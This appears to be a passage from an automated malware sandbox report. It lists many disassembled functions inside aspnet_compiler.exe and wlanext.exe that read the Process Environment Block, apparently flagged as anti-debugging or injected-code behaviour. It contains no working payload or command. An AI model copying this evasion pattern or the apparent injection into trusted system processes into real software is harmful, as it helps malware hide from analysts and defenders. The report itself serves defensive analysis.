Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0122C450 mov eax, dword ptr fs:[00000030h]	1_2_0122C450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0122C450 mov eax, dword ptr fs:[00000030h]	1_2_0122C450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B746D mov eax, dword ptr fs:[00000030h]	1_2_011B746D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A849B mov eax, dword ptr fs:[00000030h]	1_2_011A849B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216CF0 mov eax, dword ptr fs:[00000030h]	1_2_01216CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216CF0 mov eax, dword ptr fs:[00000030h]	1_2_01216CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216CF0 mov eax, dword ptr fs:[00000030h]	1_2_01216CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012514FB mov eax, dword ptr fs:[00000030h]	1_2_012514FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01268CD6 mov eax, dword ptr fs:[00000030h]	1_2_01268CD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BF716 mov eax, dword ptr fs:[00000030h]	1_2_011BF716
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CA70E mov eax, dword ptr fs:[00000030h]	1_2_011CA70E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CA70E mov eax, dword ptr fs:[00000030h]	1_2_011CA70E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0126070D mov eax, dword ptr fs:[00000030h]	1_2_0126070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0126070D mov eax, dword ptr fs:[00000030h]	1_2_0126070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CE730 mov eax, dword ptr fs:[00000030h]	1_2_011CE730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0122FF10 mov eax, dword ptr fs:[00000030h]	1_2_0122FF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0122FF10 mov eax, dword ptr fs:[00000030h]	1_2_0122FF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01194F2E mov eax, dword ptr fs:[00000030h]	1_2_01194F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01194F2E mov eax, dword ptr fs:[00000030h]	1_2_01194F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01268F6A mov eax, dword ptr fs:[00000030h]	1_2_01268F6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AEF40 mov eax, dword ptr fs:[00000030h]	1_2_011AEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AFF60 mov eax, dword ptr fs:[00000030h]	1_2_011AFF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A8794 mov eax, dword ptr fs:[00000030h]	1_2_011A8794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01217794 mov eax, dword ptr fs:[00000030h]	1_2_01217794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01217794 mov eax, dword ptr fs:[00000030h]	1_2_01217794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01217794 mov eax, dword ptr fs:[00000030h]	1_2_01217794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D37F5 mov eax, dword ptr fs:[00000030h]	1_2_011D37F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CA61C mov eax, dword ptr fs:[00000030h]	1_2_011CA61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CA61C mov eax, dword ptr fs:[00000030h]	1_2_011CA61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119C600 mov eax, dword ptr fs:[00000030h]	1_2_0119C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119C600 mov eax, dword ptr fs:[00000030h]	1_2_0119C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119C600 mov eax, dword ptr fs:[00000030h]	1_2_0119C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0124FE3F mov eax, dword ptr fs:[00000030h]	1_2_0124FE3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C8E00 mov eax, dword ptr fs:[00000030h]	1_2_011C8E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251608 mov eax, dword ptr fs:[00000030h]	1_2_01251608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119E620 mov eax, dword ptr fs:[00000030h]	1_2_0119E620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A7E41 mov eax, dword ptr fs:[00000030h]	1_2_011A7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A7E41 mov eax, dword ptr fs:[00000030h]	1_2_011A7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A7E41 mov eax, dword ptr fs:[00000030h]	1_2_011A7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A7E41 mov eax, dword ptr fs:[00000030h]	1_2_011A7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A7E41 mov eax, dword ptr fs:[00000030h]	1_2_011A7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A7E41 mov eax, dword ptr fs:[00000030h]	1_2_011A7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125AE44 mov eax, dword ptr fs:[00000030h]	1_2_0125AE44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125AE44 mov eax, dword ptr fs:[00000030h]	1_2_0125AE44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BAE73 mov eax, dword ptr fs:[00000030h]	1_2_011BAE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BAE73 mov eax, dword ptr fs:[00000030h]	1_2_011BAE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BAE73 mov eax, dword ptr fs:[00000030h]	1_2_011BAE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BAE73 mov eax, dword ptr fs:[00000030h]	1_2_011BAE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BAE73 mov eax, dword ptr fs:[00000030h]	1_2_011BAE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A766D mov eax, dword ptr fs:[00000030h]	1_2_011A766D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01260EA5 mov eax, dword ptr fs:[00000030h]	1_2_01260EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01260EA5 mov eax, dword ptr fs:[00000030h]	1_2_01260EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01260EA5 mov eax, dword ptr fs:[00000030h]	1_2_01260EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012146A7 mov eax, dword ptr fs:[00000030h]	1_2_012146A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0122FE87 mov eax, dword ptr fs:[00000030h]	1_2_0122FE87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C36CC mov eax, dword ptr fs:[00000030h]	1_2_011C36CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D8EC7 mov eax, dword ptr fs:[00000030h]	1_2_011D8EC7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0124FEC0 mov eax, dword ptr fs:[00000030h]	1_2_0124FEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01268ED6 mov eax, dword ptr fs:[00000030h]	1_2_01268ED6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A76E2 mov eax, dword ptr fs:[00000030h]	1_2_011A76E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C16E0 mov ecx, dword ptr fs:[00000030h]	1_2_011C16E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	3_2_00C7B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C7B8D0 mov ecx, dword ptr fs:[00000030h]	3_2_00C7B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	3_2_00C7B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	3_2_00C7B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	3_2_00C7B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	3_2_00C7B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE9080 mov eax, dword ptr fs:[00000030h]	3_2_00BE9080
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C63884 mov eax, dword ptr fs:[00000030h]	3_2_00C63884
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C63884 mov eax, dword ptr fs:[00000030h]	3_2_00C63884
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE58EC mov eax, dword ptr fs:[00000030h]	3_2_00BE58EC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C120A0 mov eax, dword ptr fs:[00000030h]	3_2_00C120A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C120A0 mov eax, dword ptr fs:[00000030h]	3_2_00C120A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C120A0 mov eax, dword ptr fs:[00000030h]	3_2_00C120A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C120A0 mov eax, dword ptr fs:[00000030h]	3_2_00C120A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C120A0 mov eax, dword ptr fs:[00000030h]	3_2_00C120A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C120A0 mov eax, dword ptr fs:[00000030h]	3_2_00C120A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C290AF mov eax, dword ptr fs:[00000030h]	3_2_00C290AF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1F0BF mov ecx, dword ptr fs:[00000030h]	3_2_00C1F0BF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1F0BF mov eax, dword ptr fs:[00000030h]	3_2_00C1F0BF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1F0BF mov eax, dword ptr fs:[00000030h]	3_2_00C1F0BF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C00050 mov eax, dword ptr fs:[00000030h]	3_2_00C00050
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C00050 mov eax, dword ptr fs:[00000030h]	3_2_00C00050
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BFB02A mov eax, dword ptr fs:[00000030h]	3_2_00BFB02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BFB02A mov eax, dword ptr fs:[00000030h]	3_2_00BFB02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BFB02A mov eax, dword ptr fs:[00000030h]	3_2_00BFB02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BFB02A mov eax, dword ptr fs:[00000030h]	3_2_00BFB02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA2073 mov eax, dword ptr fs:[00000030h]	3_2_00CA2073
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB1074 mov eax, dword ptr fs:[00000030h]	3_2_00CB1074
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C67016 mov eax, dword ptr fs:[00000030h]	3_2_00C67016
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C67016 mov eax, dword ptr fs:[00000030h]	3_2_00C67016
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C67016 mov eax, dword ptr fs:[00000030h]	3_2_00C67016
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB4015 mov eax, dword ptr fs:[00000030h]	3_2_00CB4015
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB4015 mov eax, dword ptr fs:[00000030h]	3_2_00CB4015
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1002D mov eax, dword ptr fs:[00000030h]	3_2_00C1002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1002D mov eax, dword ptr fs:[00000030h]	3_2_00C1002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1002D mov eax, dword ptr fs:[00000030h]	3_2_00C1002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1002D mov eax, dword ptr fs:[00000030h]	3_2_00C1002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1002D mov eax, dword ptr fs:[00000030h]	3_2_00C1002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C741E8 mov eax, dword ptr fs:[00000030h]	3_2_00C741E8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0C182 mov eax, dword ptr fs:[00000030h]	3_2_00C0C182
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1A185 mov eax, dword ptr fs:[00000030h]	3_2_00C1A185
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C12990 mov eax, dword ptr fs:[00000030h]	3_2_00C12990
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEB1E1 mov eax, dword ptr fs:[00000030h]	3_2_00BEB1E1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEB1E1 mov eax, dword ptr fs:[00000030h]	3_2_00BEB1E1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEB1E1 mov eax, dword ptr fs:[00000030h]	3_2_00BEB1E1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C669A6 mov eax, dword ptr fs:[00000030h]	3_2_00C669A6
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C161A0 mov eax, dword ptr fs:[00000030h]	3_2_00C161A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C161A0 mov eax, dword ptr fs:[00000030h]	3_2_00C161A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C651BE mov eax, dword ptr fs:[00000030h]	3_2_00C651BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C651BE mov eax, dword ptr fs:[00000030h]	3_2_00C651BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C651BE mov eax, dword ptr fs:[00000030h]	3_2_00C651BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C651BE mov eax, dword ptr fs:[00000030h]	3_2_00C651BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0B944 mov eax, dword ptr fs:[00000030h]	3_2_00C0B944
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0B944 mov eax, dword ptr fs:[00000030h]	3_2_00C0B944
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE9100 mov eax, dword ptr fs:[00000030h]	3_2_00BE9100
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE9100 mov eax, dword ptr fs:[00000030h]	3_2_00BE9100
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE9100 mov eax, dword ptr fs:[00000030h]	3_2_00BE9100
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEB171 mov eax, dword ptr fs:[00000030h]	3_2_00BEB171
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEB171 mov eax, dword ptr fs:[00000030h]	3_2_00BEB171
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEC962 mov eax, dword ptr fs:[00000030h]	3_2_00BEC962
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C04120 mov eax, dword ptr fs:[00000030h]	3_2_00C04120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C04120 mov eax, dword ptr fs:[00000030h]	3_2_00C04120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C04120 mov eax, dword ptr fs:[00000030h]	3_2_00C04120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C04120 mov eax, dword ptr fs:[00000030h]	3_2_00C04120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C04120 mov ecx, dword ptr fs:[00000030h]	3_2_00C04120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1513A mov eax, dword ptr fs:[00000030h]	3_2_00C1513A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1513A mov eax, dword ptr fs:[00000030h]	3_2_00C1513A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C12ACB mov eax, dword ptr fs:[00000030h]	3_2_00C12ACB
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BFAAB0 mov eax, dword ptr fs:[00000030h]	3_2_00BFAAB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BFAAB0 mov eax, dword ptr fs:[00000030h]	3_2_00BFAAB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	3_2_00BE52A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	3_2_00BE52A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	3_2_00BE52A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	3_2_00BE52A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	3_2_00BE52A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C12AE4 mov eax, dword ptr fs:[00000030h]	3_2_00C12AE4
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1D294 mov eax, dword ptr fs:[00000030h]	3_2_00C1D294
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1D294 mov eax, dword ptr fs:[00000030h]	3_2_00C1D294
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1FAB0 mov eax, dword ptr fs:[00000030h]	3_2_00C1FAB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C74257 mov eax, dword ptr fs:[00000030h]	3_2_00C74257
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAEA55 mov eax, dword ptr fs:[00000030h]	3_2_00CAEA55
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEAA16 mov eax, dword ptr fs:[00000030h]	3_2_00BEAA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEAA16 mov eax, dword ptr fs:[00000030h]	3_2_00BEAA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C9B260 mov eax, dword ptr fs:[00000030h]	3_2_00C9B260
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C9B260 mov eax, dword ptr fs:[00000030h]	3_2_00C9B260
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB8A62 mov eax, dword ptr fs:[00000030h]	3_2_00CB8A62
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE5210 mov eax, dword ptr fs:[00000030h]	3_2_00BE5210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE5210 mov ecx, dword ptr fs:[00000030h]	3_2_00BE5210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE5210 mov eax, dword ptr fs:[00000030h]	3_2_00BE5210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE5210 mov eax, dword ptr fs:[00000030h]	3_2_00BE5210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF8A0A mov eax, dword ptr fs:[00000030h]	3_2_00BF8A0A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C2927A mov eax, dword ptr fs:[00000030h]	3_2_00C2927A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C03A1C mov eax, dword ptr fs:[00000030h]	3_2_00C03A1C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAAA16 mov eax, dword ptr fs:[00000030h]	3_2_00CAAA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAAA16 mov eax, dword ptr fs:[00000030h]	3_2_00CAAA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C24A2C mov eax, dword ptr fs:[00000030h]	3_2_00C24A2C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C24A2C mov eax, dword ptr fs:[00000030h]	3_2_00C24A2C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE9240 mov eax, dword ptr fs:[00000030h]	3_2_00BE9240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE9240 mov eax, dword ptr fs:[00000030h]	3_2_00BE9240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE9240 mov eax, dword ptr fs:[00000030h]	3_2_00BE9240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE9240 mov eax, dword ptr fs:[00000030h]	3_2_00BE9240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C653CA mov eax, dword ptr fs:[00000030h]	3_2_00C653CA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C653CA mov eax, dword ptr fs:[00000030h]	3_2_00C653CA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C103E2 mov eax, dword ptr fs:[00000030h]	3_2_00C103E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C103E2 mov eax, dword ptr fs:[00000030h]	3_2_00C103E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C103E2 mov eax, dword ptr fs:[00000030h]	3_2_00C103E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C103E2 mov eax, dword ptr fs:[00000030h]	3_2_00C103E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C103E2 mov eax, dword ptr fs:[00000030h]	3_2_00C103E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C103E2 mov eax, dword ptr fs:[00000030h]	3_2_00C103E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0DBE9 mov eax, dword ptr fs:[00000030h]	3_2_00C0DBE9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF1B8F mov eax, dword ptr fs:[00000030h]	3_2_00BF1B8F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF1B8F mov eax, dword ptr fs:[00000030h]	3_2_00BF1B8F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA138A mov eax, dword ptr fs:[00000030h]	3_2_00CA138A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C9D380 mov ecx, dword ptr fs:[00000030h]	3_2_00C9D380
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1B390 mov eax, dword ptr fs:[00000030h]	3_2_00C1B390
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C12397 mov eax, dword ptr fs:[00000030h]	3_2_00C12397
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C14BAD mov eax, dword ptr fs:[00000030h]	3_2_00C14BAD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C14BAD mov eax, dword ptr fs:[00000030h]	3_2_00C14BAD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C14BAD mov eax, dword ptr fs:[00000030h]	3_2_00C14BAD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB5BA5 mov eax, dword ptr fs:[00000030h]	3_2_00CB5BA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB8B58 mov eax, dword ptr fs:[00000030h]	3_2_00CB8B58
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C13B7A mov eax, dword ptr fs:[00000030h]	3_2_00C13B7A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C13B7A mov eax, dword ptr fs:[00000030h]	3_2_00C13B7A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA131B mov eax, dword ptr fs:[00000030h]	3_2_00CA131B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEDB60 mov ecx, dword ptr fs:[00000030h]	3_2_00BEDB60
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEF358 mov eax, dword ptr fs:[00000030h]	3_2_00BEF358
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEDB40 mov eax, dword ptr fs:[00000030h]	3_2_00BEDB40
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB8CD6 mov eax, dword ptr fs:[00000030h]	3_2_00CB8CD6
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF849B mov eax, dword ptr fs:[00000030h]	3_2_00BF849B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA14FB mov eax, dword ptr fs:[00000030h]	3_2_00CA14FB
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66CF0 mov eax, dword ptr fs:[00000030h]	3_2_00C66CF0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66CF0 mov eax, dword ptr fs:[00000030h]	3_2_00C66CF0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66CF0 mov eax, dword ptr fs:[00000030h]	3_2_00C66CF0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1A44B mov eax, dword ptr fs:[00000030h]	3_2_00C1A44B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C7C450 mov eax, dword ptr fs:[00000030h]	3_2_00C7C450
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C7C450 mov eax, dword ptr fs:[00000030h]	3_2_00C7C450
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0746D mov eax, dword ptr fs:[00000030h]	3_2_00C0746D
